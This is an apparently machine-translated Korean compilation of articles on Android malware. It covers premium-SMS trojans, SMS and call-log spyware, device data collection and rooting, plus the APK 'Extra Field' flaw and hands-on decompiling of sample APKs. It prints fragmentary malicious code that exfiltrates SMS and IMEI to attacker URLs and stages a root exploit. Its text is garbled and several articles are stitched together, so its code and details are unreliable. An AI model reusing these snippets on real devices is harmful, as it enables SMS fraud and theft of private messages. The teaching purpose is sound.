Android 용 맬웨어에 대한 설명 Android 애플리케이션을 열고 수정하고 포장합니다.

일부 안티 바이러스 실험실의 악성 안드로이드 애플리케이션 컬렉션에는 이미 1 천만 개가 넘는 샘플이 포함되어 있습니다. 이 그림은 상상력을 자극하지만 대략 9 백만 9 억 5 천만 개가 원래 바이러스의 복사본으로 이름이 바뀌 었습니다. 그러나 나머지 수천 개의 malvari 샘플의 소스 코드를 분석하면 모든 고유 한 소수의 기능 블록 (여러 가지 다른 방식으로 수정 및 결합)에서 결합 된 것을 볼 수 있습니다.

문제는 wirmakers가 가장 사소한 작업을 가장 자주 추구한다는 것입니다.

  • 유료 번호로 SMS를 보내십시오.
  • 기밀 사용자 정보 (전화 번호, 메시지 텍스트, SD 카드의 데이터 등)를 소유합니다.
  • 감염된 장치에 대한 데이터를 수집합니다.
  • 장치에 대한 관리 권한을 확보 (소유자의 허가없이 응용 프로그램을 설치하거나 장치를 악의적으로 비활성화)
  • 사용자가 인터넷 뱅킹 시스템 사이트에 입력 한 로그인, 비밀번호 및 지불 카드 데이터를 추적합니다. 그들은 어떻게합니까? 모바일 가상 제작의 우울한 세계에 침투하고 그 결과가 어떻게되는지 보자.

SMS 전송

누가 사용 :

  • Adsms
  • FakePlayer
  • 하마.

가장 일반적인 바이러스 유형은 SMS 트로이 목마입니다. 이러한 바이러스는 사용자의 동의없이 단순히 유료 번호로 메시지를 보냅니다. 이러한 프로그램을 작성하거나 완성 된 프로그램을 원하는 숫자로 다시 작성하는 것은 매우 쉽습니다. 예를 들어 은행 데이터 추적과 달리 혜택을 얻는 프로세스는 매우 간단합니다.

다음은 가장 간단한 코드 예입니다. 이것은 SMS를 보내는 기본 기능입니다. 전송 상태를 확인하고 가입자의 위치에 따라 번호를 선택한 다음 SMS를 삭제하면 복잡 할 수 있습니다.

개인 정적 SendSms (문자열 DestNumber, 문자열 SmsText) (// 최소 개수의 매개 변수 (수신자 번호 및 시험 메시지 텍스트 (SmsManager.getDefault ()))를 사용하여 SmsManager 개체 (현재 장치로 SMS를 보내기위한 표준 프로그램)의 sendTextMessage 메서드 시작을 시도합니다. , , SmsText, , null); 반환 true;))

바이러스 코드를 찾을 수있는 곳

대부분의 경우, 전화 감염은 응용 프로그램 설치를 통해 발생합니다. 모든 안드로이드 애플리케이션은 apk 확장자를 가진 파일로 존재하며, 이는 본질적으로 아카이브입니다. Android SDK, APK to JAR 파일 변환기 및 Java 바이트 코드 디 컴파일러를 사용하여 컨텐츠를 볼 수 있습니다. 애플리케이션 빌드 (APK)는 다음과 같은 부분으로 구성됩니다.

  • resources.arsc-리소스 테이블;
  • res (폴더)-실제로 리소스 (아이콘 등);
  • META-INF (폴더)-리소스 체크섬, 응용 프로그램 인증서 및 APK 어셈블리에 대한 설명이 포함 된 파일이 포함되어 있습니다.
  • AndroidManifest.xml-모든 종류의 서비스 정보. 응용 프로그램이 올바른 작동을 위해 설치하기 전에 요청하는 권한 포함
  • classes.dex-안드로이드 운영 체제에서 모든 코드가 Dalvik 가상 머신을 사용하여 실행된다는 것을 들었을 것입니다 (버전 4.4로 시작하면 ART 지원이 나타남). 일반 Java 바이트 코드를 이해하지 못합니다. 따라서 확장자가 dex 인 파일이 있습니다. 필요하고 유용한 클래스 (응용 프로그램의 기능을 담당하는 클래스)와 함께 맬웨어 (이 기사에서 분석 할 바이러스 코드)도 포함되어 있습니다.

텍스트 파일에 사용자 정보 쓰기

누가 사용 :

  • NickySpy;
  • SmsSpy.

사용자의 개인 데이터를 찾아내는 바이러스 범주가 있습니다. 그들의 행동 메커니즘도 간단합니다. 사용자 파일을 작성자의 서버에 업로드하거나 txt (CSV, XML-중요하지 않음)의 데이터를 사전 수집합니다. 모든 유형의 연락처, 다양한 인스턴트 메신저의 메시지, 미디어 파일 등은 공격자가 관심을 가질 수 있습니다.

감염된 사용자의 SMS는 보낸 사람과받는 사람의 전화 번호에 특히 유용합니다. 스팸 메일 발송을 위해 데이터베이스를 보충 할 수 있습니다. 덜 일반적으로 이러한 종류의 바이러스는 특정 성격의 장치를 감염시키는 데 사용됩니다. 다음에 여자 친구가 그녀에게 작성된 안드로이드 응용 프로그램 (ah, karamba!-Ed.)을 테스트하도록 제안 할 때 경계를 잃지 마십시오. :).

// 장치에서 SMS 수를 읽습니다. arrayOfObject \u003d (Object) localBundle.get ( "pdus"); int j \u003d arrayOfObject.length; // 각 SMS를 통해 루프 i \u003d 1 while (true) (if (i\u003e \u003d j) break; // SMS 메시지 객체 생성 SmsMessage localSmsMessage \u003d SmsMessage.createFrompdu ((byte) arrayOfObject [i]); // Put 문자열 변수 발신자 번호, 텍스트 및 SMS 전송 시간 String StringNumber \u003d localSmsMessage.getOriginatingAddress (); String MessageText \u003d localSmsMessage.getDisplayMessageBody (); long l \u003d localSmsMessage.getTimestampMillis (); 날짜 localDate \u003d 새 날짜 (l); 문자열 MessageTimeDD new SimpleDateFormat ( "yyyy-MM-dd HH : mm : ss") format (localDate); // 수신 된 데이터에서 문자열을 작성하고 WriteRec 사용자 메소드를 사용하여 텍스트 파일에 씁니다. String MessageInfo \u003d 7MessageNumber + "#"+ MessageText + "#" + MessageTimeDate + ";"WriteRec (paramContext, "sms.txt", MessageInfo); // c로 이동 다음 메시지의 경우 i + \u003d 1;) 가입자의 통화 기록에서 스팸 목록을 보충하는 것이 편리합니다. 들어오는 호출에서 실행할 수있는 코드는 다음과 같습니다. If (parmIntent.getAction (). 같음 ( "android.intent.action.NEW_OUTGOING_CALL")) (// 가입자 번호를 입력하십시오. String phonenumber \u003d paramIntent.getStringExtra ( "android.intent. extra.PHONE_NUMBER "); // 호출 번호 및 날짜에서 문자열 생성 String PhoneCallRecord \u003d phonenumber +"# "+ getSystemTime (); // WriteRec () 메서드를 호출합니다 (코드는 여기에 없음). 통화 기록 WriteRec (paramContext, "phonecall.txt", PhoneCallRecord);)

정보가 기록되면 "오른손"으로 전송됩니다. 아래 코드는 통화 내역을 서버에 업로드합니다.

Private void uploadPhonecallHistory ()는 IDException을 발생시킵니다. (while (true) (return; // 파일이 있는지 확인하십시오! (! FileIsExists (/data/data/spyapp.pg/files/phonecall.txt ")) continue; // 파일 다운로더 파일을 업로드합니다. UploadFiles localUploadFiles \u003d new UploadFiles (); String uploadkeynode \u003d getKeyNode ( "uid", "uid_v"); // method.advanceduploadfile (코드가 제공되지 않음)을 실행하여 파일을 바이러스 제작자 서버 localUploadFiles에 업로드합니다. advanceduploadfile (uploadkeynode, "/ data / data / spyapp.pg / files / phonecall.txt");))

정보 수집

누가 사용 :

  • 드로이드 쿵푸;
  • 드로이드 드림
  • 말벌의 대다수는 모두 비슷합니다.

그의 프로그램에 감염된 감염된 장치에 대한 정보는 원칙적으로 모든 바이러스 제작자에게 유용합니다. 그것을 얻는 것은 매우 간단합니다. 배열은 휴대 전화 속성의 데이터로 전체 목록 (Android 개발자 매뉴얼에서 전체 목록을 볼 수 있음)으로 생성되고 POST 요청에 의해 공격자의 서버에서 PHP 스크립트 (언어는 원칙 화되지 않음)로 전송되며, 데이터를 처리하여 나중에 사용할 수 있도록 데이터베이스에 저장합니다.

Private void reportState (int paramInt, string paramString) (// 배열을 만들고 그 안에 서비스 정보를 넣습니다. ArrayList UserInformation \u003d new ArrayList (); UserInformation.add (new BasicNameValuePair ( "imei", this.mImei)); UserInformation.add ( new BasicNameValuePair ( "taskid", this.mTaskId)); UserInformation.add (new BasicNameValuePair ( "state", Integer.toString (paramInt))); // 함수에 paramString (comment) 매개 변수가 있으면 배열에 넣습니다. 그리고 if (paramStrng! \u003d null) && (! "". (paramString)과 같습니다)) UserInformation.add (new BasicNameValuePair ( "comment", paramString)); // 데이터를 수집하는 스크립트 주소를 사용하여 HTTP POST 요청을 만듭니다. HttpPost localHttpPost \u003d new HttpPost ( "http://search.virusxxxdomain.com:8511/search/rtpy.php"); try (// 요청에 데이터 배열을 추가하고 표준 HTTP 클라이언트 localHttpPost.setEntity (new UrlEncodeFormEntity (UserInformation, "UTF-8"))를 사용하여 실행하십시오); 새로운 DefaultHttpClient () 실행 (localHttpPost) .getStatusLine.getStatusCode (); 귀국 )))

응원

누가 사용 :

  • 드로이드 쿵푸;
  • 드로이드 드림
  • RootSmart.

안드로이드 기기에서 발생할 수있는 가장 성가신 일은 루트 바이러스입니다. 결국, 악성 프로그램은 다른 바이러스를 설치하고 하드웨어 설정을 변경하여 악의적 인 프로그램으로 무엇이든 할 수 있습니다. 이 작업은 악용을 순차적으로 시작하여 수행됩니다.

Private void RootFunc () (ApplicationInfo localApplicationInfo \u003d getApplicationInfo (); / * "ratc"는 유명한 루트 익스플로잇 Rage Against The Cage의 복사본으로, Kiall은 현재 응용 프로그램에서 시작한 모든 프로세스를 중지합니다 .Gjsvro는 udev 권한을 얻기위한 익스플로잇입니다 ( 하드웨어 및 네트워크 인터페이스와의 고급 작업을위한 Linux 시스템.)이 모든 것을 올바른 위치에 복사하십시오 * / Utils.copyAssets (이, "ratc", "/ data / data"+ localApplicationInfo.packageName + "/ ratc"); .copyAssets (이, "killall", "/ data / data"+ localApplicationInfo.packageName + "/ killall"); Utils.copyAssets (이, "gjsvro", "/ data / data"+ localApplicationInfo.packageName + "/ gjsvro "); // 그리고 명령 줄을 사용하여 Utils.oldrun ("/ system / bin / c hmod ","4755 /data/data"+localApplicationInfo.packageName + "/ ratc"); Utils.oldrun ( "/ system / bin / chmod", "4755 /data/data"+localApplicationInfo.packageName +"/ killall " ); Utils.oldrun ( "/ system / bin / chmod", "4755 /data/data"+localApplicationInfo.packageName +"/ gjsvro)); 새로운 MyTread.start (); )

모바일 말 바리 사이트

Kasperskiy Lab의 전문가 블로그이 리소스에는 Android 바이러스를 포함한 컴퓨터 보안의 여러 측면에 대한 고품질의 상세 기사가 포함되어 있습니다. 최신 개발 상황을 파악하려면이 사이트를 정기적으로 방문해야합니다.

이 그룹은 Android 애플리케이션 코드 (DEX / ODEX / APK 파일의 디 컴파일 및 수정)를 사용하여 모든 종류의 조작을위한 오픈 소스 도구에 전념하고 있습니다. Androguard에는 바이러스에 대한 광범위한 기사 데이터베이스가 포함되어 있습니다. 기능 및 보호 방법에 대한 간단한 검토 외에도 Malvari 코드에 대한 자세한 분석이 있습니다.


www.fortiguard.com 전화 바이러스 백과 사전의 모바일 위협 섹션. 각 기사는 상당한 양의 기술적 세부 사항이 포함 된 기능 검토입니다. Android 운영 체제에 대한 위협 정보 외에도 Symbian OS, iOS 및 기타 플랫폼의 바이러스에 대한 기사가 있습니다.


바이러스 방지

일부 사용자는 Google Play에서 독점적으로 애플리케이션을 다운로드하고 스마트 폰에 바이러스 백신을 설치하면 보안이 완전히 보장된다고 생각합니다. 자신을 아첨하지 마십시오 : 공식 시장에서 말 바리가 존재한다는 메시지가 웹에 정기적으로 나타납니다. 그리고 새로 등장하는 악성 프로그램의 수는 한 달에 수십만 건으로 측정되므로 적시에 안티 바이러스 프로그램 데이터베이스에 들어가기가 어렵습니다. 휴대 전화에 APK 파일을 설치하기 전에 APK 파일의 코드를 수동으로 확인하여 보안을 보장 할 수 있습니다. 악의적 인 조각을 발견하기 위해 코딩 전문가가 될 필요는 없습니다. 그리고 우리의 기사는 이것으로 당신을 도울 것입니다.

결론

예제에서 볼 수 있듯이 모바일 가상화는 기술 복잡성이 다르지 않습니다. 물론 이러한 예제는 저널 형식으로 단순화되어 있습니다. 먼저 오류 및 예외 처리기 및 일부 기술적 세부 사항이 누락되어 Android-malvari의 원리를 이해하지 못하지만 불필요한 실험으로부터 보호합니다. 결국, 우리는 바이러스 생성을 지원하지 않습니다. 🙂

Extra Field는 공격자가 디지털 서명을 손상시키지 않고이 OS에 대한 모든 응용 프로그램의 설치 패키지 내용을 수정할 수있는 Google Android의 취약점입니다. 이 취약점을 사용하여 바이러스 작성자는 악의적 인 구성 요소를 합법적이거나 신뢰할 수있는 응용 프로그램에 주입하여 트로이 목마를 확산시킬 수 있습니다.

Android 용 Dr.Web Anti-virus는 운영 체제 수준에서 탐지되기 때문에이 취약점을 제거 할 수 없지만, 보호 된 장치에서 침입하여 실행하려고 할 때이를 통해 확산되는 악성 프로그램을 성공적으로 탐지하고 제거합니다.

기술적 세부 사항

Google Android 운영 체제의 애플리케이션 배포는 애플리케이션이 작동하는 데 필요한 모든 구성 요소가 포함 된 ZIP 아카이브 인 .APK 파일 형식으로 배포됩니다. 프로그램을 설치하는 과정에서 아카이브에서 추출되고 체크섬이 특수 목록에 따라 확인됩니다. 각 응용 프로그램에는 자체 디지털 서명이 있습니다.

취약점 사용 추가 필드공격자는 APK 아카이브의 구조를 변경할 수 있습니다. 서비스 필드에이 파일의 수정 된 버전을 그 자리에 배치하는 동안 처음 3 바이트없이 원래 프로그램 구성 요소 중 하나 (특히, classes.dex 파일)의 값을 추가하면 후자는 운영 체제에서 다음과 같이 인식됩니다. 합법적이고 설치가 허용되었습니다. 이 취약점의 잠재적 인 사용이 65,533 바이트를 넘지 않아야하는 dex 파일의 크기에 의해 제한된다는 사실에도 불구하고, 공격에 관심이있는 사이버 범죄자들은 \u200b\u200b해당 크기의 구성 요소를 가진 무해한 프로그램이나 게임의 기초로이를 쉽게 이용할 수 있습니다.

classes.dex 파일에는 APK 파일 안에 컴파일 된 응용 프로그램 코드가 포함되어 있습니다. APK 패키지의 헤더에는 확장명이 .dex 인 파일 이름이 저장되는 일부 공간과 classes.dex 파일의 내용과 애플리케이션이 사용하는 클래스 목록을 저장하는 extra field라는 필드가 포함됩니다. 헤더 필드가 3 바이트 감소하면 해당 필드의 길이가 변경되어 공격자가 원래 클래스 .dex를 추가 필드에 포함 할 수 있으며이 파일의 악의적 인 사본도 추가 필드에 배치됩니다. 수정 된 필드에는 악의적 인 기능로드를 수행하는 공격자가 만든 클래스가 포함될 수 있습니다. 응용 프로그램을 설치할 때 운영 체제는이 필드의 내용을 읽으며 그 결과 공격자가 수정 한 classes.dex 파일이 공격 된 장치에 설치됩니다.

프로그램의 소스를 잃어 버렸으므로 코드를 복원해야합니다. 바이러스가있는 프로그램을 다운로드했으며 그 기능을 알고 싶습니다.

안드로이드 프로그램은 아카이브로 배포됩니다. 이 아카이브의 확장자는 ".apk"입니다. 이러한 파일은 암호화되지 않으며 본질적으로 zip 파일입니다. apk 파일의 이름을 zip으로 바꿔서 확인할 수 있습니다.

APK 파일을 더 깊이 파고 데이터를 가져와야합니다. 고양이를 훈련시킬 수 있습니다. "Hello Kitty"프로그램을 가져 와서 프로젝트 폴더에서 apk 파일을 찾으십시오. 앱 \\ 빌드 \\ 출력 \\ APK  실험을 위해 별도의 폴더로 이동합니다.

아카이브의 압축을 풀면 응용 프로그램의 구조를보고 친숙한 파일을 만날 수 있습니다. 그리고 볼 파일을 추출하십시오. 예를 들어 폴더에서 입술 / drawable-hdpi-v4  사진을 찾았습니다 pinkhellokitty.png. 이것이 행복 인 것 같습니다. 하지만 기다려 봐 이미지에 문제가 없으면 XML 파일을 읽는 것이 번거 롭습니다. 일부 줄은 볼 수 있지만 일반적으로 텍스트를 완전히 읽을 수 없습니다. 먼저 다른 길로 가자.

사용자 정의 Android 애플리케이션은 Java 시스템에서 실행되므로 APK 파일은 JAR 파일의 모든 기능을 상속합니다.

아카이브의 내용은 일반적으로 다음과 같습니다.

META-INF 카탈로그에는 다음이 포함됩니다.

CERT.RSA-신청 증명서
  CERT.SF-리소스 파일 (그림, 사운드 등)의 체크섬
  MANIFEST.MF-apk 파일 자체를 설명하는 서비스 정보

악성 코드 파싱

프로그램을 예로 들어 보자. 수상한다양한 안티 바이러스에 의해 악성 프로그램으로 탐지됩니다.

정확히 무엇을 찾아야하는지 더 잘 이해하려면“AndroidManifest.xml”파일을 분석해야합니다. 분석 된 응용 프로그램에 필요한 특정 권한을 확인하십시오. 이 파일은 일반 텍스트 XML이 아닌 이진 파일입니다. 그것을 읽으려면 Android SDK에서 "aapt"콘솔 유틸리티를 사용해야합니다. platform-tools 디렉토리에 있습니다. 그래픽 인터페이스가 없으므로 콘솔에 명령을 입력해야합니다. 예를 들어, Windows의 경우 :

C : \\ android-sdk-windows \\ platform-tools \\ aapt.exe l -a C : \\ 들어오는 \\ suspicious.apk

물론 경로를 대체해야합니다. Linux에서 명령은 명백한 차이점과 동일합니다 (유틸리티에 대한 드라이브 문자와 "exe"확장명 없음). 편의상 출력을 파일로 리디렉션 할 수 있습니다.

C : \\ android-sdk-windows \\ platform-tools \\ aapt.exe l -a C : \\ 수신 \\ suspicious.apk \u003e\u003e C : \\ 수신 \\ manifest.txt

파일에서 "Android manifest"섹션을 찾아서 사용 권한 열거를 찾아야합니다. 분석 된 파일에서 다음과 같습니다.

   "android.permission.READ_PHONE_STATE"(원시 : "android.permission.READ_PHONE_STATE") "android.permission.INTERNET"(원인 : "android.permission.INTERNET") "android.permission." (원시 : "android.permission.RECEIVE_SMS")

이 정보를 통해 프로그램이 전화기의 상태를 수신 할 수 있음을 알 수 있습니다 (예 :“전화 모드의 전화”,“데이터 수신 모드의 전화”포함). 이 권한은 프로그램이 실행중인 전화 번호를 가져 와서 네트워크 작업 및 SMS 도착을 모니터링하는데도 필요합니다. 이러한 측면은 추가 분석에서 중점을 둘 필요가 있습니다.

코드에 액세스하려면 apk 파일을 jar 파일로 변환하고 수신 된 바이트 코드를보다 읽기 쉬운 형식으로 디 컴파일하는 두 단계를 수행해야합니다.

"dex2jar"변환기를 사용합니다.

C : \\ dex2jar \\ dex2jar.bat C : \\ 들어오는 \\ suspicious.apk

변환 된 파일은 원본 파일과 동일한 디렉토리에 있습니다. “.Dex2jar.jar”이 그의 이름에 추가 될 것입니다. 즉이 예에서는“suspicious.apk.dex2jar.jar”입니다.

이 파일은 디 컴파일러로 열 수 있습니다. 디 컴파일러 창의 패키지 계층 구조는 다음과 같습니다.


이것으로 준비 단계가 완료됩니다. 추가 성공은 Java에 대한 지식과 검색 엔진을 사용할 수있는 능력에만 달려 있습니다.

다행히이 예제에서 선택한 인스턴스의 크기는 다소 작습니다. 최종 jar은 7.01KB에 불과합니다.

이 프로그램에는 6 개의 수업 만 있습니다. 관심이없는 것을 제외하십시오. 이것은 모든 자원의 식별자만을 나열하는 클래스 R입니다. 클래스를 고려에서 제외 할 수도 있습니다. 구성여기에는 어셈블리 구성이 포함됩니다.

나머지 3 개의 클래스를 더 자세히 살펴 보겠습니다.

활성화

이 클래스는 이벤트에서 시작됩니다. onCreate ()즉, 응용 프로그램을 시작한 직후

TelephonyManager localTelephonyManager \u003d (TelephonyManager) getSystemService ( "전화");  -창조 localTelephonyManager장치에 대한 데이터를 배치합니다.

str1 \u003d localTelephonyManager.getDeviceId ();  -수신 된 데이터에서 장치의 식별 번호를 선택하고 문자열 str1에 놓습니다.

다음은 나누는 사이클입니다 장치 ID  사이에 하이픈“-”을 삽입하면 XXXXXXXXXXXXXXXXX에서 XXXX-XXXX-XXXX-XXXX를 얻을 수 있습니다. 숫자와 하이픈의 결과 문자열은 텍스트 뷰  식별자 2131034112와 함께.

스 머시 버

이 클래스는 SMS 메시지, 이벤트가 도착하면 트리거됩니다. onReceive ().

이 클래스의 작업은 수신 SMS를 추적하고 감지 된 경우 클래스를 실행하는 것입니다. 메인 서비스새 수신 메시지에 대한 포인터를 전달합니다.

메인 서비스

이 수업은 상당히 크므로 전체적으로 제공하지는 않겠습니다. 호출 직후에는 수신 SMS 알림을 차단하는 하위 클래스“SmsBlockerThread”를 시작하여 사용자에게 새로운 수신 SMS를 알리지 않습니다.

그런 다음 수신 SMS는 다음과 같이 처리됩니다.

문자열 str1 \u003d localSmsMessage.getOriginatingAddress ();  -수신자의 전화 번호 (즉, 트로이 목마가 설치된 전화 번호)는 변수에 배치됩니다. str1.

문자열 str2 \u003d localSmsMessage.getMessageBody ();  -메시지 본문이 변수 str2에 배치됩니다.

그런 다음 연결된 쌍이 만들어집니다. localBasicNameValuePair1  그리고 localBasicNameValuePair2  값이 배치되는 위치

F0 \u003d<номер телефона>  b0 \u003d<текст сообщения>

이 쌍은 localArrayList 배열에 저장되어 나중에 쌍이 추가됩니다. localBasicNameValuePair3id를 나타내는 \u003d

이 경우 보시다시피 장치 ID  다시 얻었지만 수업에서받은 것을 사용하지 않았습니다. 활성화. 호출되는 메소드로 끝납니다. postRequest ()  마지막 수업에서 서버 세션:

시도 (JSONObject localJSONObject \u003d ServerSession.postRequest (새로운 UrlEncodeFormEntity (localArrayList)); return;)

이 매개 변수는 전화 번호, SMS 컨텐츠 및 장치 ID와 동일한 쌍의 배열입니다.

서버 세션

이 클래스에는 두 가지 방법이 있습니다. initUrl ()"(http://softthrifty.com/security.jsp)"링크의 일부를 반환합니다.

공개 정적 문자열 initUrl () ( "http://softthrifty.com/security.jsp";

훌륭한 방법 postRequest ()그 클래스에서 호출 메인 서비스. 크기에도 불구하고 작업 postRequest ()  단순-메소드가 리턴 한 링크를 사용하여 서버로 전송 initUrl ()에서 배열 된 배열에서 쌍을 추가하여 데이터 메인 서비스. 즉, 링크로 이동하십시오.

   (http://softthrifty.com/security.jsp?f0\u003d<номер телефона>& b0 \u003d<текст сообщения>& 아이디 \u003d )

요약

따라서이 트로이 목마는 SMS를 가로 채서 감염된 전화 번호, SMS 내용 및 감염된 전화의 식별자를 전송하는 서버로 요청을 보냅니다. 이 동작은 2 단계 인증을 공격하는 뱅킹 트로이 목마의 신호일 수 있습니다. 성공적인 공격을 위해서는 다음 조건이 충족되어야합니다.

1) 침입자는 온라인 뱅킹에 대한 데이터를 가로 채기 위해 피해자의 컴퓨터를 감염시켜야합니다.
  2) 공격자는 은행의 확인 코드로 SMS를 가로 채기 위해 피해자의 전화를 감염시켜야합니다.
  3) 침입자는이 확인 코드의 온라인 뱅킹 자격 증명을 알기 위해 감염된 컴퓨터의 사용자와 감염된 전화를 어떻게 든 연결해야합니다.

크기와 활동의 명확성으로 인해 이러한 샘플은 Android 용 맬웨어를 구문 분석하는 기본 기술을 보여주기에 적합합니다.

Android 용 악성 코드 설명

알렉산더 안티 포프

올해 1 분기 잠재적 위협 상태에 대한 McAfee 보고서에 따르면 6 백만 개의 고유 한 악성 코드 샘플이 발견되었습니다.


올해 1 분기 잠재적 위협 상태에 대한 McAfee 보고서에 따르면 6 백만 개의 고유 한 악성 코드 샘플이 발견되었습니다. 이런 의미에서 2011 년 1 사분기는 지난 몇 년간 같은 기간에 비해 탐지 된 맬웨어 수에있어 가장 효과적인 것으로 나타났습니다. McAfee 보고서에 따르면 Android 장치는 점점 더 악의적 인 소프트웨어의 운반자가되고 있습니다. 안드로이드 전문가에 따르면 올해 1 분기에는 심비안 다음으로 가장 인기있는 모바일 대상이되었다.

이 기사에서는 다양한 소프트웨어 분석 단계를 안내하여 Android 플랫폼의 취약점이 무엇인지, 공격자가이를 어떻게 사용하는지 이해할 수 있도록합니다. 우선, 안드로이드 개발의 역사에 대해 논의한 다음 플랫폼 구성 패키지 작동 방식의 기본 사항으로 넘어갑니다. 이와 동시에 Android를 대상으로하는 모든 악성 프로그램을 자세히 분석합니다.

안드로이드 플랫폼 소개

Android는 휴대 전화, 커뮤니케이터, 태블릿 및 기타 기기를위한 Linux 커널 기반 운영 체제입니다. 개발자는 주로 Java 언어로 Android 애플리케이션을 작성하여 Google에서 개발 한 Java 라이브러리를 사용하여 디바이스 제어를 제공합니다. Android Java 컴파일러는 개발자 파일 세트를 클래스 파일로 컴파일 한 다음 클래스 파일을 dex 파일로 변환합니다. 이 파일에는 Dalvik 가상 머신을 인식하는 데 특별히 사용되는 바이트 코드가 있으며, 이는 특수 Android 애플리케이션에서 실행되는 Java 애플리케이션 바이트 코드 실행 환경 (JVM)입니다. XML 파일은 작은 파일을 만드는 데 최적화 된 이진 형식으로 변환됩니다. .Dex 파일, XML 바이너리 및 응용 프로그램을 실행하는 데 필요한 기타 리소스는 Android 패키지 파일로 패키지됩니다. 이 파일의 확장자는 .apk이지만 표준 ZIP 파일입니다. apk 패키지가 구성되면 개발자가 디지털 서명 한 후 Google 웹 사이트를 통해 Android 마켓에 업로드합니다. 여기서 apk 파일을 다운로드하여 Android 장치에 설치할 수 있습니다. 현재 Android 응용 프로그램의 중앙 저장소에는 2 백만 개가 넘는 다운로드 가능한 응용 프로그램이 있으며, 다른 타사 사이트에서 Google Android 응용 프로그램을 다운로드 할 수 있습니다.

요구 사항

  • APK 파일 압축 풀기 도구-Winzip
  • .dex 파일을 .jar 파일로 변환하는 도구 : .. Dex2jar
  • Java 디 컴파일 그래픽 유틸리티 : JD-GUI
  • 분석을위한 Android 대상 악성 코드 샘플

자세한 단계

1 단계 :
   맬웨어 분석 절차를 시작하려면 먼저 Android 플랫폼을 대상으로하는 악성 샘플을 다운로드해야합니다. 이 경우 iCalendar.apk를 다운로드합니다. iCalendar.apk는 가젯 미디어에서 맬웨어 콘텐츠를 감지하여 Android 마켓에서 제거 된 11 개의 의심스러운 응용 프로그램 중 하나가되었습니다. VirusTotal 요청을 확인한 결과 아래 그림과 같이 46.5 %의 탐지율이 나타났습니다.


그림. 1

단계 II :

Winzip을 사용하여 iCalendar.apk 파일을 추출하면 파일의 내용을 볼 수 있습니다.

그림. .dex 및. 이 기사의 앞부분에서 설명한 XML 파일은 그림 2에 나와 있습니다. 2.

단계 III :

다음 단계는 "dex2jar"도구를 사용하여 코드를 실행하는 것입니다. dex2jar 도구 상자는 Dalvik .dex 실행 파일을 Java .class 파일로 변환합니다. "Classes.dex"-응용 프로그램의 파일은 dex2jar 디렉토리에 있으며 "dex2jar.bat classes.dex 명령을 사용하여 변환됩니다.

그림. 3 한 디렉토리에 "classes.dex.dex2jar.jar"파일 작성.

그림. 4

단계 iv :

JD-GUI를 사용하여 .class 파일을 보았습니다. JD-GUI를 사용하여 "Classes.dex.dex2jar.jar"파일을여십시오.

그림. 5 : Android 앱의 전체 소스 코드가 표시됩니다.

V 단계 :
   응용 프로그램의 소스 코드를받은 후 실제 소스를 분석하고 문제를 확인할 수 있습니다. 클래스 이름이 "SmsReceiver.class"인 파일은 응용 프로그램 달력이므로이 경우에는 SmsReceiver가 필요하지 않기 때문에 다소 이상하게 보입니다. 소스 코드 "SmsReceiver.class"를 추가로 조사한 결과 1066185829, 1066133 및 106601412004라는 세 개의 숫자가 포함되어 있으며 이는 다소 의심스러운 것으로 보입니다. 특히, 상황은이 애플리케이션을 설치하고 실행할 때 지정된 번호에서 Android 디바이스로 전송 된 메시지를 차단하려는 시도와 유사합니다.

그림. 6

Google을 통해이 번호를 검색 한 후 China Mobile이 소유 한 SMS 서비스 번호임을 알 수 있습니다 (그림 7).

그림. 7

후속 단계에서 애플리케이션이 위의 숫자로부터 전송 보고서를 차단하려는 이유를 분석하려고했습니다.

VI 단계 :
   "SmsReceiver.class"파일의 분석이 완료된 후 다음 .class 파일의 코드 분석을 진행합니다. "iCalendar.class". 첫 번째는 가장 의심스러운 것으로 보입니다. 특히, sendSms () 함수가 showImg () 함수에 있음을 알았습니다.

그림. 8

따라서 "sendSms ()"파일 검사를 시작하여 명령 실행 기능을 확인했습니다. 아래 그림과 같이 sendSms () 기능이 활성화되면 텍스트 921X1의 SMS가 자동으로 번호 1066185829로 전송됩니다.

그림. 9

7 단계 :
   sendSms () 함수의 끝에서 함수 저장 명령이 있음을 알았습니다. 따라서 코드 내에서 save () 함수를 검색하고 sendSms () 함수와의 직접적인 관계를 찾았습니다.

그림. 10

적절한 분석을 수행하고 save () 함수의 다양한 측면을 명확하게 한 후 save () 함수가 실행될 때마다 문자열 "Y"가 통과하는 것으로 나타났습니다. 또한 sendSms () 함수에 대해 "if"루프가 설정되어 있기 때문에 sendSms () 함수는 한 번만 호출 할 수 있다고 결론지었습니다.

8 단계 :
   전체 분석 결과를 결합하면 다양한 종류의 맬웨어가 완벽하게 작동 함을 명확하게 알 수 있습니다.

응용 프로그램은 텍스트 921X1과 함께 프리미엄 번호 1066185829로 SMS를 보냅니다. 이와 동시에이 번호로 전송되는 메시지에 대한 수신 배달 보고서는 차단되므로 피해자는 백그라운드에서 애플리케이션이 전송 한 SMS의 존재에 대한 신호를받지 않습니다. 또한 SMS는 한 번만 전송되며 피해자는 실제로 계좌에서 자금을 인출 한 원인을 의심 할 수 없습니다.

그림. 11 : iCalendar.apk주기에서 맬웨어에 대한 완전한 발견

결론 :

   전화에 대한 루트 액세스 권한이있는 악성 프로그램은 저장된 데이터를 읽을 수있을뿐만 아니라 절대적으로 어느 곳으로나 전송할 수 있습니다. 이 정보에는 연락처 정보, 문서 및 계정 암호도 포함됩니다. 루트 액세스 권한이있는 경우 전화기의 사용자 인터페이스에서 볼 수없는 다른 구성 요소를 설치할 수 있으므로 쉽게 제거 할 수 없습니다. Android 플랫폼의 맬웨어로부터 애플리케이션을 보호하는 주요 방법은 다음과 같습니다.
  • 신뢰할 수있는 출처에서만 응용 프로그램을 다운로드하십시오.
  • 응용 프로그램을 다운로드하기 전에 관련 등급 및 리뷰를 확인하십시오.
  • 특정 응용 프로그램의 사용 권한에 대한 신중한 평가
  • 사용 가능한 Android OS 업데이트를 설치하십시오.
  • 모바일 애플리케이션을 보호하기위한 프로그램 설치

이 문서는 의심하지 않는 사용자에게 멀웨어로 인한 피해의 예를 제공합니다. 사람이 자신의 존재를 알지 못하면 그러한 프로그램을 통해 백그라운드에서 거의 모든 무단 작업을 수행 할 수 있습니다. 악성 프로그램의 운영은 대차 대조표에서 자금을 인출하고 비밀번호를 도용함으로써 사용자의 재정적 손실을 초래할 수 있습니다. 또한 휴대폰 자체에 손상을 줄 수 있습니다. 보시다시피 이러한 응용 프로그램이 전화기에 들어 가지 않도록 적절한 예방 조치를 적시에 적용하는 것이 매우 중요합니다. 후회하는 것보다 한 번 안전하게 플레이하는 것이 좋습니다.

